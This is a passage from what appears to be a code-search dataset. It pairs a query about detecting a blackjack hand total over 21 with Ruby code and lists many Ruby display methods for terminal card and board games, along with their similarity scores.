TTY::Box.frame(height: 7, width: 12, border: :thick, align: :center, padding: 1) {\" #{match_card.color.colorize(match_card.colorize)} \\n#{match_card.number.to_s.colorize(match_card.colorize)}\"}.colorize(match_card.colorize)\n puts\n puts \"#{@name}, your hand is: \"\n puts\n @cards.length.times do |i|\n print \" | #{@cards[i].color} #{@cards[i].number} |\".colorize(@cards[i].colorize)\n end\n puts\n puts '_______________________________________________________________________________________'\n puts\n end", "def play_game\n\n Console_Screen.cls #Clear the display area\n \n #Assist the player and dealer an initial starting card\n playerHand = get_new_card\n dealerHand = get_new_card\n \n #Call the method responsible for dealing new cards to the player\n playerHand = complete_player_hand(playerHand, dealerHand)\n \n #If the player has not gone bust, call the method responsible for managing\n #dealer's hand\n if playerHand <= 21 then\n dealerHand = play_dealer_hand(dealerHand)\n end\n\n #call the method responsible for determining the results of the game\n determine_winner(playerHand, dealerHand)\n\n end", "def show_desk\n system('clear')\n @game.show_player(@dealer)\n @game.show_player(@gamer)\n end", "def show_hands_final\n player.show_hand\n dealer.show_hand_for_turn\n end", "def display_both_hands(users_name, dealers_hand, users_hand, initial_deal_bool, cards_n_values)\n display_players_hand(\"Dealer\", dealers_hand, initial_deal_bool, cards_n_values)\n puts\n display_players_hand(users_name, users_hand, false, cards_n_values)\n puts\n\n return nil\nend", "def showDeck\n puts \"\\nDeck looks like this:\"\n # Dynamically determine leading spaces so output lines up nicely...\n ls = self.cardsAvailable.to_s.size\n i = 0\n @deckA.each do |c|\n i += 1\n puts \"Card #{i.to_s.rjust(ls,\" \")} in deck is: #{c.to_s.rjust(ls, \" \")}->#{@deckOfCards[c].visible}\"\n end\n end", "def showHands\n @players.times do |p|\n i=p + 1\n print \"\\nPlayer #{i}:\"\n # DJBHERE DJB HERE str = \"file_\" + i.to_s.rjust(n, \"0\")\n @playersCards[i].each do |c|\n print \" #{c.visible}\"\n end\n end\n end", "def display_board\n puts \"#{human.name}: #{human.marker}, #{computer.name}: #{computer.marker}\"\n puts \"Round #{@round}.\"\n puts \"Score: #{human.score} - #{computer.score}\"\n puts \"\"\n board.draw\n puts \"\"\n end", "def play_game\r\n\r\n Console_Screen.cls #Clear the display area\r\n\r\n #Assign the player and dealer an initial starting card\r\n playerHand = get_new_card\r\n dealerHand = get_new_card\r\n\r\n #Call the method responsible for dealing new cards to the player\r\n playerHand = complete_player_hand(playerHand, dealerHand)\r\n\r\n #If the player has not gone bust, call the method responsible for managing\r\n #dealer's hand\r\n if playerHand <= 21 then\r\n dealerHand = play_dealer_hand(dealerHand)\r\n end\r\n\r\n #call the method responsible for determining the results of the game\r\n determine_winner(playerHand, dealerHand)\r\n\r\n end", "def display\n puts \"\\n GAME BOARD \"\n puts \" Turn #{turn_count}\"\n puts \"*************\"\n puts \"* #{self.cells[0]} | #{self.cells[1]} | #{self.cells[2]} *\"\n puts \"*-----------*\"\n puts \"* #{self.cells[3]} | #{self.cells[4]} | #{self.cells[5]} *\"\n puts \"*-----------*\"\n puts \"* #{self.cells[6]} | #{self.cells[7]} | #{self.cells[8]} *\"\n puts \"*************\\n\\n\"\n end", "def show_board\n @display.each do |row|\n puts row.join(' ')\n end\n end", "def display_board\n puts \" | | \"\n puts\"-----------\"\n puts \" | | \"\n puts\"-----------\"\n puts \" | | \"\nend", "def display_board\n puts \" | | \" \n puts \"-----------\"\n puts \" | | \"\n puts \"-----------\"\n puts \" | | \"\nend", "def display_board\n puts \" | | \"\n puts \"-----------\"\n puts \" | | \"\n puts \"-----------\"\n puts \" | | \"\nend", "def display_board\n puts \" | | \"\n puts \"-----------\"\n puts \" | | \"\n puts \"-----------\"\n puts \" | | \"\nend", "def display_board(brd)\n system 'clear'\n puts \"You'e a #{PLAYER_MARKER}. Computer is #{COMPUTER_MARKER}.\"\n puts \"\"\n puts \" | |\"\n puts \" #{brd[1]} | #{brd[2]} | #{brd[3]}\"\n puts \" | |\"\n puts \"-----+-----+-----\"\n puts \" | |\"\n puts \" #{brd[4]} | #{brd[5]} | #{brd[6]}\"\n puts \" | |\"\n puts \"-----+-----+-----\"\n puts \" | |\"\n puts \" #{brd[7]} | #{brd[8]} | #{brd[9]}\"\n puts \" | |\"\n puts \"\"\nend", "def display_board(brd)\n system 'clear' || system('cls')\n puts \"You're a #{PLAYER_MARKER}. Computer is #{COMPUTER_MARKER}.\"\n puts \"\"\n puts \" | |\"\n puts \" #{brd[1]} | #{brd[2]} | #{brd[3]}\"\n puts \" | |\"\n puts \"-----+-----+-----\"\n puts \" | |\"\n puts \" #{brd[4]} | #{brd[5]} | #{brd[6]}\"\n puts \" | |\"\n puts \"-----+-----+-----\"\n puts \" | |\"\n puts \" #{brd[7]} | #{brd[8]} | #{brd[9]}\"\n puts \" | |\"\n puts \"\"\nend", "def display_board(brd)\n system 'clear'\n puts \"You're a #{PLAYER_MARKER}. Computer is #{COMPUTER_MARKER}.\"\n puts \"\"\n puts \" | |\"\n puts \" #{brd[1]} | #{brd[2]} | #{brd[3]} \"\n puts \" | |\"\n puts \" -----+-----+-----\"\n puts \" | |\"\n puts \" #{brd[4]} | #{brd[5]} | #{brd[6]} \"\n puts \" | |\"\n puts \" -----+-----+-----\"\n puts \" | |\"\n puts \" #{brd[7]} | #{brd[8]} | #{brd[9]} \"\n puts \" | |\"\n puts \"\"\nend", "def display_board(brd)\n system 'clear'\n puts \"You're a #{PLAYER_MARKER}. Computer is #{COMPUTER_MARKER}.\"\n puts \"\"\n puts \" | |\"\n puts \" #{brd[1]} | #{brd[2]} | #{brd[3]} \"\n puts \" | |\"\n puts \" -----+-----+-----\"\n puts \" | |\"\n puts \" #{brd[4]} | #{brd[5]} | #{brd[6]} \"\n puts \" | |\"\n puts \" -----+-----+-----\"\n puts \" | |\"\n puts \" #{brd[7]} | #{brd[8]} | #{brd[9]} \"\n puts \" | |\"\n puts \"\"\nend", "def draw\n clear\n puts \"|\" + table_empty_space('-') + \"|\"\n puts \"|\" + table_empty_space(' ') + \"|\"\n puts \"|\" + show_dealer_total.center(TABLE_SIZE) + \"|\"\n puts \"|\" + \"#{show_dealer_unknown} #{show_dealer_hand}\".center(TABLE_SIZE) + \"|\"\n 2.times { puts \"|\" + table_empty_space(' ') + \"|\" }\n puts \"|\" + \"- #{dealer.name} -\".center(TABLE_SIZE) + \"|\"\n 2.times { puts \"|\" + table_empty_space(' ') + \"|\" }\n puts \"|\" + \"- #{player.name} -\".center(TABLE_SIZE) + \"|\"\n 2.times { puts \"|\" + table_empty_space(' ') + \"|\" }\n puts \"|\" + \"#{show_player_unknown} #{show_player_hand}\".center(TABLE_SIZE) + \"|\"\n puts \"|\" + show_player_total.center(TABLE_SIZE) + \"|\"\n puts \"|\" + table_empty_space(' ') + \"|\"\n puts \"|\" + table_empty_space('-') + \"|\"\n puts \"\"\n end", "def show()\n\t\tputs (' \t|\t' + ' \t|\t')\n\t\tputs (@@board[7] + '\t|\t' + @@board[8] + '\t|\t' + @@board[9])\n\t\tputs ('------------------------------------')\n\t\tputs (@@board[4] + '\t|\t' + @@board[5] + '\t|\t' + @@board[6])\n\t\tputs (' \t|\t' + ' \t|\t')\n\t\tputs ('------------------------------------')\n\t\tputs (@@board[1] + '\t|\t' + @@board[2] + '\t|\t' + @@board[3])\n\t\tputs (' \t|\t' + ' \t|\t')\n\tend", "def displayCurrentHand\n\t\t\theader = \"\\nCurrentBoard:\\n\"\n\t\t\[email protected]().times do |i|\n\t\t\t\tputs \"\\n\\t\"\n\t\t\t\tputs \"\\tCard #{i+1}\"\n\t\t\t\tputs @board[i]\n\t\t\tend\n\t\tend", "def print_deal_cards\n puts \"-----------\"\n puts \"Cards Dealt\"\n puts \"-----------\"\n end", "def display_board\n puts \" \" \"|\" \" \" \"|\" \" \"\n puts \"-----------\"\n puts \" \" \"|\" \" \" \"|\" \" \"\n puts \"-----------\"\n puts \" \" \"|\" \" \" \"|\" \" \"\nend", "def display_final_hands(player_hand, computer_hand, player_name)\n sleep(1)\n system 'clear'\n\n puts \"\\n*** Computer's Hand -- Value: #{calculate_hand_value(computer_hand)} ***\"\n computer_hand.each_key do |card|\n puts \"#{card}\"\n end\n\n show_player_hand(player_hand, player_name)\n puts \"\"\nend", "def display_board(brd)\n system \"clear\"\n puts \"You're a #{PLAYER_MARKER}. Computer is #{COMPUTER_MARKER}.\"\n puts \"\"\n puts \" | |\"\n puts \" #{brd[1]} | #{brd[2]} | #{brd[3]}\"\n puts \" | |\"\n puts \"_____+_____+_____\"\n puts \" | |\"\n puts \" #{brd[4]} | #{brd[5]} | #{brd[6]}\"\n puts \" | |\"\n puts \"_____+_____+_____\"\n puts \" | |\"\n puts \" #{brd[7]} | #{brd[8]} | #{brd[9]}\"\n puts \" | |\"\n puts \"\"\nend", "def display_board(board)\n system('cls')\n puts \"Player is #{PLAYER_MARKER}. Computer is #{COMPUTER_MARKER}.\"\n puts \"\"\n puts \" | |\"\n puts \" #{board[1]} | #{board[2]} | #{board[3]}\"\n puts \" | |\"\n puts \"-----+-----+-----\"\n puts \" | |\"\n puts \" #{board[4]} | #{board[5]} | #{board[6]}\"\n puts \" | |\"\n puts \"-----+-----+-----\"\n puts \" | |\"\n puts \" #{board[7]} | #{board[8]} | #{board[9]}\"\n puts \" | |\"\n puts \"\"\nend", "def display_board(board)\n system 'clear'\n puts \"Player : #{PLAYER_MARKER}\"\n puts \"Computer: #{COMPUTER_MARKER}\"\n puts \"\"\n puts \" | |\"\n puts \" #{board[1]} | #{board[2]} | #{board[3]}\"\n puts \" | |\"\n puts \"-----+-----+-----\"\n puts \" | |\"\n puts \" #{board[4]} | #{board[5]} | #{board[6]}\"\n puts \" | |\"\n puts \"-----+-----+-----\"\n puts \" | |\"\n puts \" #{board[7]} | #{board[8]} | #{board[9]}\"\n puts \" | |\"\n puts \"\"\nend", "def start\n if first_game == true\n puts \"Welcome to Blackjack!\"\n end\n self.money -= 10\n puts money\n 2.times do\n player_hand << game_deck.draw\n dealer_hand << game_deck.draw\n end\n puts \"Player hand is:\"\n puts player_hand\n puts \"Dealer hand is:\"\n puts dealer_hand\n end", "def display_board(brd)\n system \"clear\"\n puts \"You're #{PLAYER_MARKER}'s. Computer is #{COMPUTER_MARKER}'s\"\n puts \" | | \"\n puts \" #{brd[1]} | #{brd[2]} | #{brd[3]} \"\n puts \" | | \"\n puts \"=================\"\n puts \" | | \"\n puts \" #{brd[4]} | #{brd[5]} | #{brd[6]} \"\n puts \" | | \"\n puts \"=================\"\n puts \" | | \"\n puts \" #{brd[7]} | #{brd[8]} | #{brd[9]} \"\n puts \" | | \"\nend", "def show_user_board\n puts @player_board.render(true)\n end", "def setup_display\n gameboard.build_display\n build_white_side\n build_black_side\n end", "def draw_cards(hand)\n card_count = hand.count\n card_count.times do\n print \" ----- \"\n print ' '\n end\n print \"\\n\"\n card_count.times do\n print \"| |\"\n print ' '\n end\n print \"\\n\"\n card_count.times do |i|\n if hand[i][1] == '10'\n print \"| #{hand[i][1]} |\"\n else\n print \"| #{hand[i][1]} |\"\n end\n print ' '\n end\n print \"\\n\"\n card_count.times do |i|\n print \"| #{hand[i][0]} |\"\n print ' '\n end\n print \"\\n\"\n card_count.times do\n print \"| |\"\n print ' '\n end\n print \"\\n\"\n card_count.times do\n print \" ----- \"\n print ' '\n end\n print \"\\n\"\nend", "def show_cards(players_hand, dealers_hand)\n puts \"Dealers cards:\"\n dealers_hand.each do |card|\n puts \".---. \"\n puts \"|#{card[0]} | \"\n puts \"| #{card[1]} | \"\n puts \"| #{card[0]}| \"\n puts \".---. \"\n puts\n end\n puts \"Players cards:\"\n players_hand.each do |card|\n puts \".---. \"\n puts \"|#{card[0]} | \"\n puts \"| #{card[1]} | \"\n puts \"| #{card[0]}| \"\n puts \".---. \"\n puts\n end\nend", "def show_card(player, i, j)\n display(\"#{player.name} has: #{player.hands[i].cards[j]}\\n\\n\")\n end", "def print_player_board(players, turn, visible, end_of_game)\n turn_opposite = (turn == 1 ? 0 : 1)\n puts \"Player #{turn + 1}, #{players[turn].name}'s board: Player #{turn_opposite + 1}, #{players[turn_opposite].name}'s board:\"\n puts \"#{\" A B C D E F G H I J \".black.on_white.bold.underline} #{\" A B C D E F G H I J \".black.on_white.bold.underline}\"\n board1 = players[turn].board\n board2 = players[turn_opposite].board\n (0..9).each do |row_index|\n print \"#{row_index}|\".black.on_white\n print_player_board_row(board1, row_index, visible || end_of_game) \n print \" \"\n print \"#{row_index}|\".black.on_white \n print_player_board_row(board2, row_index, !visible || end_of_game) \n puts \"\" \n end\n end", "def draw_cards(selected_cards, card_owner)\n system \"clear\"\n puts \"#{card_owner}'s Cards ...\"\n selected_cards.each do |selected_card|\n puts \"\\u250C\" + \"\\u2501\"+ \"\\u2501\"+ \"\\u2501\" + \"\\u2501\" + \"\\u2501\"+ \"\\u2511\"\n puts \"\\u2502\" + \" \" + \"\\u2502\"\n puts \"\\u2502\" + \" \" + \"\\u2502\"\n if selected_card[0].to_s.size > 1\n puts \"\\u2502\" + \" \" + selected_card[0].to_s + \" \" + \"\\u2502\"\n else\n puts \"\\u2502\" + \" \" + selected_card[0].to_s + \" \" + \"\\u2502\"\n end\n case selected_card[1]\n when 'S'\n puts \"\\u2502 \\u2660 \\u2502\" \n when 'C'\n puts \"\\u2502 \\u2663 \\u2502\"\n when 'H'\n puts \"\\u2502 \\u2665 \\u2502\" \n when 'D'\n puts \"\\u2502 \\u2666 \\u2502\" \n end\n puts \"\\u2502\" + \" \" + \"\\u2502\"\n puts \"\\u2502\" + \" \" + \"\\u2502\"\n puts \"\\u2514\" + \"\\u2501\"+ \"\\u2501\"+ \"\\u2501\" + \"\\u2501\" + \"\\u2501\"+ \"\\u251A\"\n end\nend", "def show_deck(deck) \n display(deck.to_s)\n end", "def display\n\t\t@deck_of_cards.each.with_index do |card, i|\n\t\t\tputs \"#{i}=> #{card.display}\"\n\t\tend\n\tend", "def display_board\n system \"clear\"\n puts \"Super Fight Bros. Leaderboard by Combat\"\n header = ['#', 'Player', 'Power', 'Combat']\n rows = parse_players(Superhero.order(combat: :desc).limit(10))\n table = TTY::Table.new header, rows\n puts table.render(:unicode)\n begin \n puts \"Please press M to go back to the menu\"\n end while !input_check(\"M\")\n end", "def display_board(brd)\n puts \"You are #{PLAYER_MARKER}. Computer is #{COMPUTER_MARKER}.\"\n puts \"\"\n puts \" | |\"\n puts \" #{brd[1]} | #{brd[2]} | #{brd[3]}\"\n puts \" | |\"\n puts \"-----+-----+-----\"\n puts \" | |\"\n puts \" #{brd[4]} | #{brd[5]} | #{brd[6]}\"\n puts \" | |\"\n puts \"-----+-----+-----\"\n puts \" | |\"\n puts \" #{brd[7]} | #{brd[8]} | #{brd[9]}\"\n puts \" | |\"\n puts \"\"\nend", "def show_board\n\t\tputs \n\t\tputs \"-------------------\"\n\t\tputs \"Board so far: \"\n\t\t# Go through each guess and answers and display them\n\t\[email protected]_with_index { |guess, i| puts \"#{guess.join} #{@evaluate[i]}\" }\n\t\tputs \"-------------------\"\n\tend", "def show_cards2(dck, dlr, plyr, plyr_points, dlr_points)\n system \"clear\"\n puts \"=========================\"\n prompt \"Dealer has...#{dlr_points}\"\n dlr.each do |card|\n prompt \" \" + dck[card][:name] + ' ' + dck[card][:value].to_s\n end\n puts\n prompt \"Player has...#{plyr_points}\"\n plyr.each do |card|\n prompt \" \" + dck[card][:name] + ' ' + dck[card][:value].to_s\n end\nend", "def display_secret_board hide_secret\n\t\tdisplay_top_separator\n\t\tdisplay_row(get_blank_row) if hide_secret\n\t\tdisplay_row(@secret_board) unless hide_secret\n\t\tdisplay_bottom_separator\n\tend", "def reveal_final_hand\n linebreak('-')\n @players.each{ |p| puts p; linebreak; }\n puts \"Dealer reveals #{@dealer.hand}. #{@dealer.hand.count}!\"\n puts \"Dealer BUSTED!\" if @dealer.hand.busted?\n linebreak\n end", "def display_board\n system(\"clear\")\n puts \" #{@board[0]}|#{@board[1]}|#{@board[2]}\"\n puts ' -----'\n puts \" #{@board[3]}|#{@board[4]}|#{@board[5]}\"\n puts ' -----'\n puts \" #{@board[6]}|#{@board[7]}|#{@board[8]}\"\n end", "def deal_card_to_player(player, card, show)\n if show\n puts \"Dealing to #{player.name}: #{card}\"\n elsif\n puts \"Dealing hidden card to #{player.name}\"\n end\n player.hands[0].add_card(card, false)\n end", "def show_board\n # Show empty board at initialization and get variable at each player turn\n puts \" 1 2 3\"\n puts \" a #{@A1.content} | #{@A2.content} | #{@A3.content}\"\n puts \" ---------\"\n puts \" b #{@B1.content} | #{@B2.content} | #{@B3.content}\"\n puts \" ---------\"\n puts \" c #{@C1.content} | #{@C2.content} | #{@C3.content}\"\n\n end", "def opening_hand(players_cards, computers_cards, deck)\n players_cards.push (the_draw(deck))\n computers_cards.push (the_draw(deck))\n players_cards.push (the_draw(deck))\n computers_cards.push (the_draw(deck))\n end", "def display_board(brd)\n puts green(\"You're #{PLAYER_MARKER}. Computer is #{COMPUTER_MARKER}.\")\n puts \"\"\n puts \" | |\"\n puts \" #{brd[1]} | #{brd[2]} | #{brd[3]}\"\n puts \" | |\"\n puts \"-----+-----+-----\"\n puts \" | |\"\n puts \" #{brd[4]} | #{brd[5]} | #{brd[6]}\"\n puts \" | |\"\n puts \"-----+-----+-----\"\n puts \" | |\"\n puts \" #{brd[7]} | #{brd[8]} | #{brd[9]}\"\n puts \" | |\"\n puts \"\"\nend", "def show_hands_initial\n player.show_hand\n dealer.show_hand\n end", "def display_board(brd, pco, cco)\n system \"clear\"\n prompt(\"You are a #{PLAYER_MARKER}. Computer is a #{COMPUTER_MARKER}.\")\n prompt(\"Player Score = #{pco}, Computer score = #{cco}\")\n puts \"\"\n puts \"1 |2 |3\"\n puts \" #{brd[1]} | #{brd[2]} | #{brd[3]}\"\n puts \" | |\"\n puts \"-----+-----|-----\"\n puts \"4 |5 |6\"\n puts \" #{brd[4]} | #{brd[5]} | #{brd[6]}\"\n puts \" | |\"\n puts \"-----+-----|-----\"\n puts \"7 |8 |9\"\n puts \" #{brd[7]} | #{brd[8]} | #{brd[9]}\"\n puts \" | |\"\n puts \"\"\nend", "def show_hands\n puts \"\\nDealer hand: #{@dealer_hand}\" \" | Hand Value: #{hand_value(@dealer_hand)}\"\n puts \"\\nYour hand: #{@player_hand}\" \" | Hand Value: #{hand_value(@player_hand)}\"\n end", "def card_display(i)\n if(i < @hidden_cards.size)\n Card::HIDDEN_CARD_STRING\n else\n Card.card_to_s(@cards[i - @hidden_cards.size])\n end\n end", "def printDealerGetCards\n puts \"And now the dealer will reveal his cards...\"\n pressKeyToContinue\n printGameState(false)\nend", "def show_hands_initial\n puts \"\\nYour hand (#{player_hand_total}):\" #\\n creates a new line. makes the command line text easier to read\n players_hand.each do |card|\n puts \"\\t#{card.face} of #{card.suit}\" #\\t indents the given text. not necessary, just easier to read/play\n end\n puts \"\\nDealer is showing #{dealers_hand[0].face} of #{dealers_hand[0].suit}\"\n end", "def print_game\n print \" Cards in game: \"\n (0..6).each { |c| print show @cards[c] }\n print \"\\n Cards on the table: \"\n (2..6).each { |n| print show @cards[n] }\n print \"\\n Cards in hand of your player: \"\n (0..1).each { |index| print show @cards[index] }\n print \"\\n Hash to analize combinations in game: \",$hash_7_card\n end", "def display_hand\n display_hand = []\n @hand.each do |h|\n display_hand << \"#{create_hand(h)}\"\n end\n display_hand\n end", "def display_board(brd, score_board)\n system 'clear'\n puts \"Best of 5! Currently Player is on #{score_board[:player]}\"\n puts \"and the computer is on #{score_board[:computer]}\"\n puts \"You're a #{PLAYER_MARKER}. Computer is #{COMPUTER_MARKER}.\"\n puts \"\"\n puts \" | |\"\n puts \" #{brd[1]} | #{brd[2]} | #{brd[3]}\"\n puts \" | |\"\n puts \"_____+_____+_____\"\n puts \" | |\"\n puts \" #{brd[4]} | #{brd[5]} | #{brd[6]}\"\n puts \" | |\"\n puts \"_____+_____+_____\"\n puts \" | |\"\n puts \" #{brd[7]} | #{brd[8]} | #{brd[9]}\"\n puts \" | |\"\nend", "def display_hands(players_array, players_hands, board)\n hands = []\n puts \"\"\n puts \"The players have :\"\n for i in 0...players_array.length do\n hands << [players_array[i].name, best_five_of_seven([players_hands[i][0], players_hands[i][1], board[0], board[1], board[2], board[3], board[4]])]\n puts \"- #{players_array[i].name}: #{best_five_of_seven([players_hands[i][0], players_hands[i][1], board[0], board[1], board[2], board[3], board[4]])[0]} with #{best_five_of_seven([players_hands[i][0], players_hands[i][1], board[0], board[1], board[2], board[3], board[4]])[1]}\"\n end\n puts \"\"\n\n winner = hands[0][0]\n winning_hand = hands[0][1]\n for i in 1...players_array.length do\n winning_hand = compare_two_hands(winning_hand, hands[i][1])\n winner = hands[i][0] if winning_hand == hands[i][1]\n end\n\n puts \"The winner is : #{winner} with a #{winning_hand[0]} : #{winning_hand[1]}\"\n\n end", "def show_board\n puts \" \" + board_spaces[1] + \" | \" + board_spaces[2] + \" | \" + board_spaces[3] + \" \"\n puts \"-----------\"\n puts \" \" + board_spaces[4] + \" | \" + board_spaces[5] + \" | \" + board_spaces[6] + \" \"\n puts \"-----------\"\n puts \" \" + board_spaces[7] + \" | \" + board_spaces[8] + \" | \" + board_spaces[9] + \" \"\n end", "def displayBoard\n\t\tx = 0\n\t\tprint \"\\n\"\n\t\twhile x < @guesses.length\n\t\t\tprint \" -------------------\\n\"\n\t\t\ty = 0\n\t\t\twhile y < @guesses[x].length\n\t\t\t\tif y < 4\n\t\t\t\t\tprint \"| \" + @guesses[x][y].chr + \" | \" \n\t\t\t\telse\n\t\t\t\t\tprint @guesses[x][y]\n\t\t\t\tend\n\t\t\t\ty = y+1\n\t\t\tend\n\t\t\tprint \"\\n -------------------\\n\"\n\t\t\tx = x+1\n\t\tend\n\t\tprint \"\\n\"\n\t\n\tend", "def show_facecard\r\n\t\tputs \"The #{name} is showing:\" \r\n\t\thand.cards[1].display_card\r\n\tend", "def render\n @board_array.each_with_index do |row, row_index|\n row.each_with_index do |cell, col_index|\n if @position_hash[[row_index, col_index]].hidden\n print '______'\n else\n print cell.to_s\n end\n end\n print \"\\n\"\n end\n end", "def display\n puts \"#{@board.join(\" \")}\"\n end", "def render()\n print \" \"\n (0...@size).each do |col|\n print (col).to_s + \" \"\n end\n puts\n\n (0...@size).each do |row|\n (-1...@size).each do |col|\n print col == -1 ? row : card([row, col]).display\n print \" \"\n end\n puts\n end\n end", "def display_deck\n @deck_array.each do |x|\n x.display_card\n end\n end", "def start_game\n @deck_current = @deck_default\n @hand_dealer = []\n @hand_player = []\n get_card_and_put_in_hand(\"dealer\")\n get_card_and_put_in_hand(\"dealer\")\n get_card_and_put_in_hand(\"player\")\n get_card_and_put_in_hand(\"player\")\n\n display_board_screen(true)\n\n result_player = turn_player\n\n if result_player === \"over\"\n puts \"player is over 21, press enter to continue\"\n gets\n bet_attribution(\"lose\")\n display_betting_screen(false)\n elsif result_player === \"stay\"\n result_dealer = turn_dealer\n end\n \n if result_dealer === \"over21\"\n puts \"Dealer over 21, press enter to continue\"\n gets\n bet_attribution(\"win\")\n display_betting_screen(false)\n elsif result_dealer === \"over17\"\n final_result = check_who_wins(calculate_hand_total_value(@hand_dealer), calculate_hand_total_value(@hand_player))\n if final_result === \"draw\"\n puts \"It's a draw, press enter to continue\"\n bet_attribution(\"push\")\n elsif final_result === \"player\"\n puts \"Player wins, press enter to continue\"\n bet_attribution(\"win\")\n elsif final_result === \"dealer\"\n puts \"Dealer wins, press enter to continue\"\n bet_attribution(\"lose\")\n end\n \n gets\n display_betting_screen(false)\n end\n\nend", "def display_board(board, round, player_score, computer_score)\n system('clear') || system('cls')\n puts \"Round #{round}\"\n puts \"Player: #{player_score} Computer: #{computer_score}\"\n puts \"You are a #{PLAYER_MARKER}. \" \\\n \"Computer is #{COMPUTER_MARKER}\"\n puts ''\n puts 'BOARD MAPPING'\n puts ' 7 | 8 | 9 '\n puts '---+---+---'\n puts ' 4 | 5 | 6 '\n puts '---+---+---'\n puts ' 1 | 2 | 3 '\n puts ''\n puts 'GAME BOARD'\n puts ' | |'\n puts \" #{board[7]} | #{board[8]} | #{board[9]}\"\n puts ' | |'\n puts '-----+-----+-----'\n puts ' | |'\n puts \" #{board[4]} | #{board[5]} | #{board[6]}\"\n puts ' | |'\n puts '-----+-----+-----'\n puts ' | |'\n puts \" #{board[1]} | #{board[2]} | #{board[3]}\"\n puts ' | |'\n puts ''\nend", "def display_board\n # phrase=\"Tic Tac Toe board\"\n # puts phrase\n puts \" | | \"\n puts \"-----------\"\n puts \" | | \"\n puts \"-----------\"\n puts \" | | \"\n\nend", "def display_board\n\t board =\" | | \\n-----------\\n | | \\n-----------\\n | | \"\n\t puts board\n\tend", "def display_board\n puts \" #{@letter[0]} | #{@letter[1]} | #{@letter[2]} \"\n puts \" -------------\"\n puts \" #{@number[0]}| #{@board_array[0]} | #{@board_array[1]} | #{@board_array[2]} |\"\n puts \" |-----------|\"\n puts \" #{@number[1]}| #{@board_array[3]} | #{@board_array[4]} | #{@board_array[5]} |\"\n puts \" |-----------|\"\n puts \" #{@number[2]}| #{@board_array[6]} | #{@board_array[7]} | #{@board_array[8]} |\"\n puts \" ------------\"\n end", "def display_board\n\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \" ----------- \"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \" ----------- \"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n\n end" ]
[ "0.7267893", "0.7048758", "0.69489825", "0.69288224", "0.69288003", "0.6913045", "0.6892421", "0.67482597", "0.666768", "0.66470236", "0.6635782", "0.66275775", "0.65575665", "0.6553606", "0.65479076", "0.65011793", "0.6487321", "0.6477688", "0.6410497", "0.6400801", "0.6395134", "0.6374716", "0.63626015", "0.63619745", "0.63552827", "0.6333034", "0.6318822", "0.6303919", "0.6299335", "0.6298245", "0.62772584", "0.6271881", "0.6250371", "0.62178165", "0.6198053", "0.61979777", "0.61910826", "0.6186505", "0.6146492", "0.6117043", "0.6116733", "0.6116733", "0.61079925", "0.6097682", "0.60750246", "0.60750246", "0.60649866", "0.60633147", "0.60565037", "0.6045502", "0.60401326", "0.6036696", "0.60351914", "0.60334486", "0.60326236", "0.6020967", "0.60183567", "0.60085624", "0.6005184", "0.6003267", "0.59965", "0.5988703", "0.5977641", "0.5973685", "0.5972583", "0.59553385", "0.5938381", "0.59229213", "0.5916898", "0.5910583", "0.5894254", "0.5893305", "0.5874616", "0.5870426", "0.5869817", "0.5866495", "0.58617496", "0.5861517", "0.5858187", "0.5856189", "0.58561635", "0.58546203", "0.5843556", "0.5834432", "0.5830839", "0.58281296", "0.5820139", "0.5813683", "0.5813572", "0.5806299", "0.5804234", "0.58012664", "0.57755035", "0.57740813", "0.5766109", "0.57601833", "0.57449776", "0.5726551", "0.5724905", "0.57216775" ]
0.81121224
0
Check if a given hand has a total over 21, both hard and soft hand needs +++ to be higher than 21. Takes one argument: hand_total: accept an array representing the total value of a given hand.
def check_if_over_21(hand_total) if hand_total[0] > 21 && hand_total[1] > 21 return true else return false end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def check_if_over_17(hand_total)\n if hand_total[1] === 999\n if hand_total[0] >= 17\n return true\n end\n\n else\n if hand_total[0] >= 17 || hand_total[1] >= 17\n return true\n end\n\n end\n\n return false\n\nend", "def bust?(hand)\n return hand_total( hand ) > WIN_VALUE \n\n end", "def calculate_hand_value(hand)\n value = 0\n if hand.values.reduce(:+) <= 21\n value = hand.values.reduce(:+)\n elsif hand.values.reduce(:+) > 21 && hand.keys.any? {|card| card.include?(\"A\") }\n hand.keys.each do |card|\n hand[card] = 1 if card.include?(\"A\")\n value = hand.values.reduce(:+)\n break if value <= 21\n end\n value\n else\n value = hand.values.reduce(:+)\n end\n\nend", "def check_hand(hand)\n\t\t\tmin_value = hand.min_value\n\t\t\tclamped = hand.clamp_value(21, 21)\n\t\t\tif min_value > 21\n\t\t\t\tupdated = self.bust(hand)\n\t\t\telsif clamped > 0 # Value of hand is 21\n\t\t\t\tupdated = self.stand(hand, true, hand.is_blackjack)\n\t\t\telse\n\t\t\t\tupdated = [hand]\n\t\t\tend\n\t\t\treturn updated\n\t\tend", "def check_break?(hand_value)\n hand_value > 21 ? true : false\nend", "def get_optimum_hand_score(hand)\n total = 0\n hand.each do |card|\n total += get_card_value(card)\n end\n\n #Count the number of aces we have\n num_aces = (hand.select{|card| get_card_value(card) == 11}).length\n\n #Account fo aces\n while total > 21 && num_aces > 0 do\n total -= 10\n num_aces -= 1\n end\n return total\nend", "def hand_check(player_check)\n if player_check.hand_total > 21\n player_check.bust = true\n puts \"#{player_check.name} busted with #{player_check.hand_total}\"\n winner\n elsif player_check.hand_total == 21\n winner\n elsif six_cards?(player_check) == true\n puts \"~~~Six cards! #{player_check.name} wins!~~~\" ; player_check.score += 1\n show_hands_final\n again?\n end\n end", "def hand_total(hand) \n\n #A flag to see if the hand contains an ace\n have_ace = ! ( session[hand].select{|card| card['rank'] == \"ace\"}.empty? ) \n\n total = 0 \n\n #Look up the point value of each card in the hand\n session[hand].each do |card|\n total += RANK_TO_POINTS[ card['rank']]\n end\n \n #Convert from hard (ace=1) to a soft (ace=11) \n #score if hand contains an ace\n #and it won't cause the hand to bust\n if (total <= 11 && have_ace) then total += 10 end \n\n return total \n\n end", "def pl_high?\n session[:player].hand_total > session[:dealer].hand_total\n end", "def value_of_hand(hand)\n collection_of_card_values = hand.collect {|index| index[1]}\n card_values = collection_of_card_values.inject{|sum,next_card| sum + next_card }\n if collection_of_card_values.include?(1) && card_values < 12\n card_values += 10\n end\n card_values\nend", "def calculate_total(hand) #[['2', 's'], ['a', 'd'], ... etc.] \n \n total = 0\n aces = 0\n hand.each do |card|\n if ['J', 'Q', 